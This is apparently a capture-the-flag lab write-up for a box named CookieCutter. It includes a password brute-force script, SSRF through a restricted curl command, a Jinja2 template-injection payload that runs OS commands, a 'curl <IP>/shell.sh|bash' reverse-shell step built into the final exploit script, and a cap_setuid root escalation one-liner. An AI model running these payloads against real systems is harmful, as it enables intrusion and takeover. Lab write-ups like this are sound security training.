CookieCutter

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 192.168.160.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 14:13 +08
Nmap scan report for 192.168.160.112
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
50000/tcp open  ibm-db2

Web Enumeration -> Brute Force

Port 80 just shows a countdown:

If we view the page source, there's this bit here:

Here's the script:

#!/usr/bin/python3

import socket

HOST="127.0.0.1"
PORT=50000

s = None
def connect():
	global s
	s = socket.socket()
	s.connect((HOST,PORT))

username = b"bob"
password = b"[REDACTED]"

# Example:
# 1\x00admin\x00password\x00
def login():
	connect()
	buf = b""
	buf += b"1"
	buf += b"\x00"
	buf += username
	buf += b"\x00"
	buf += password
	buf += b"\x00"

	s.send(buf)
	r = s.recv(4096)
	data = r.split(b"\x00")

	s.close()
	if int(data[0]) == 1:
		return data[1].decode()
	else:
		return None

# Example:
# 2\x00commands\x00
def send_command(uuid, cmd, *args):
	connect()
	buf = b""
	buf += b"2"
	buf += b"\x00"
	buf += uuid.encode()
	buf += b"\x00"
	buf += cmd.encode()
	buf += b"\x00"
	if args != ():
		for x in args:
			buf += x.encode()
			buf += b"\x00"

	s.send(buf)
	r = s.recv(25600)
	data = r.split(b"\x00")

	s.close()
	if int(data[0]) == 1:
		return data[1].decode()
	else:
		return None

#TODO program some of the example functions that we can show to the client

Port 50000 is running an application that uses this script. We know that the user is bob, but the password has been removed. As such, we can brute force his password using an adaptation of the original script:

#!/usr/bin/python3

import socket
import base64
import sys
HOST="192.168.160.112"
PORT=50000

username = b"bob"
f = open('/usr/share/wordlists/rockyou.txt','r')
for passw in f:
	attempt = passw.strip('\n').encode()
	print(f"Trying {attempt}...")
	s = socket.socket()
	s.connect((HOST,PORT))
	buf = b""
	buf += b"1"
	buf += b"\x00"
	buf += username
	buf += b"\x00"
	buf += attempt
	buf += b"\x00"
	s.send(buf)
	r = s.recv(4096)
	data = r.split(b"\x00")
	s.close()
	print(data)

Eventually, it would find the correct password of cookie1.

Trying b'cookie1'...
[b'1', b'599f7412-54e0-4e7b-9ec3-722d742b9650', b'']

Great! Now we can use the original script to interact with the system. I appended a small section here at the bottom:

uuid = login()
cmd = sys.argv[1]
arg = sys.argv[2]
print(send_command(uuid, cmd))
#print(send_command(uuid, cmd, arg))

$ python3 client.py commands
[b'1', b'7cfabad4-e264-442a-9977-88114ef4bbcb', b'']
commands|id|curl

It seems that we can only run id and curl. Since curl is open, we can try to read some files or do SSRF. Running curl on localhost returns a base64 encoded string:

$ python3 client.py curl http://127.0.0.1        
[b'1', b'a38814c0-fb85-4cdc-abe8-264b5646959c', b'']
PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCgk8dGl0bGU+Q29va2llIEN1dHRlciBDb21pb

LFI doesn't work, even with ${IFS}:

$ python3 client.py curl '-d${IFS}@/etc/passwd${IFS}http://192.168.45.191' 
ERROR

In this case, it means SSRF is the only option. I tested the popular web ports that were open, and found one:

$ python3 client.py curl 'http://127.0.0.1:8080'  | base64 -d
<!DOCTYPE html>
<html>
        <head>
                <title>Internal Admin Echo Test</title>
        </head>
        <body>
                <form action="/" method="get">
                        <input type="text" name="echostr" value="Hello World!">
                        <input type="submit" value="Submit">
                </form>
        </body>
</html>

Port 8080 hosted an internal admin page that takes a string and echoes it back. I tried some basic SSTI since it was being printed, and it worked:

uuid = login()
cmd = 'curl'
arg = 'http://127.0.0.1:8080/?echostr={{7*7}}'
print(send_command(uuid, cmd, arg))

$ python3 client.py  | base64 -d
<!DOCTYPE html>
<html>
        <head>
                <title>Internal Admin Echo Test</title>
        </head>
        <body>
                <form action="/" method="get">
                        <input type="text" name="echostr" value="Hello World!">
                        <input type="submit" value="Submit">
                </form>
        <p>49</p>
        </body>
</html>

We can verify that Jinja2 injections work using {{config.items()}}

Using this payload, we can verify the user:

{{self.__init__.__globals__.__builtins__.__import__("os").popen("id").read()}}

We can get a reverse shell using curl <IP>/shell.sh|bash:

Privilege Escalation

Password-Check -> Setuid Cap

The user's home directory has an interesting file:

bob@cookiecutter:~$ ls
local.txt  password_check
bob@cookiecutter:~$ file password_check 
password_check: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f36f172722b503af6e90af90a690e70b43e9cc01, not stripped
bob@cookiecutter:~$ ./password_check
Segmentation fault (core dumped)

Using ltrace shows a password:

bob@cookiecutter:~$ ltrace ./password_check 
strcmp("I_Pr3f3r_C4k3!", nil <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Using this password, we cannot su to root, but we can check sudo privileges:

bob@cookiecutter:~$ sudo -l
[sudo] password for bob: 
Matching Defaults entries for bob on cookiecutter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on cookiecutter:
    (bob : python_admin) /usr/bin/admin_python3

We could run a special type of Python. I wanted to see what was different about this binary, so I used getcap and saw that this can run setuid:

bob@cookiecutter:~$ getcap /usr/bin/admin_python3
/usr/bin/admin_python3 = cap_setuid+ep

This means we can make ourselves root using this one-liner:

import os;os.setuid(0);os.system("/bin/bash")

Scripts

Final script for reverse shell:

#!/usr/bin/python3

import socket
import base64
import sys

HOST="192.168.160.112"
PORT=50000

s = None
def connect():
	global s
	s = socket.socket()
	s.connect((HOST,PORT))

username = b"bob"
password = b"cookie1"


# Example:
# 1\x00admin\x00password\x00
def login():
	connect()
	buf = b""
	buf += b"1"
	buf += b"\x00"
	buf += username
	buf += b"\x00"
	buf += password
	buf += b"\x00"

	s.send(buf)
	r = s.recv(4096)
	data = r.split(b"\x00")

	s.close()
	#print (data)
	if int(data[0]) == 1:
		return data[1].decode()
	else:
		return None

# Example:
# 2\x00commands\x00
def send_command(uuid, cmd, *args):
	connect()
	buf = b""
	buf += b"2"
	buf += b"\x00"
	buf += uuid.encode()
	buf += b"\x00"
	buf += cmd.encode()
	buf += b"\x00"
	if args != ():
		for x in args:
			buf += x.encode()
			buf += b"\x00"

	s.send(buf)
	r = s.recv(25600)
	data = r.split(b"\x00")

	s.close()
	if int(data[0]) == 1:
		return data[1].decode()
	else:
		return None

uuid = login()

cmd = 'curl'
arg = 'http://127.0.0.1:8080/?echostr={{self.__init__.__globals__.__builtins__.__import__("os").popen("curl 192.168.45.191/shell.sh|bash").read()}}'
print(send_command(uuid, cmd, arg))

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Last updated 9 months ago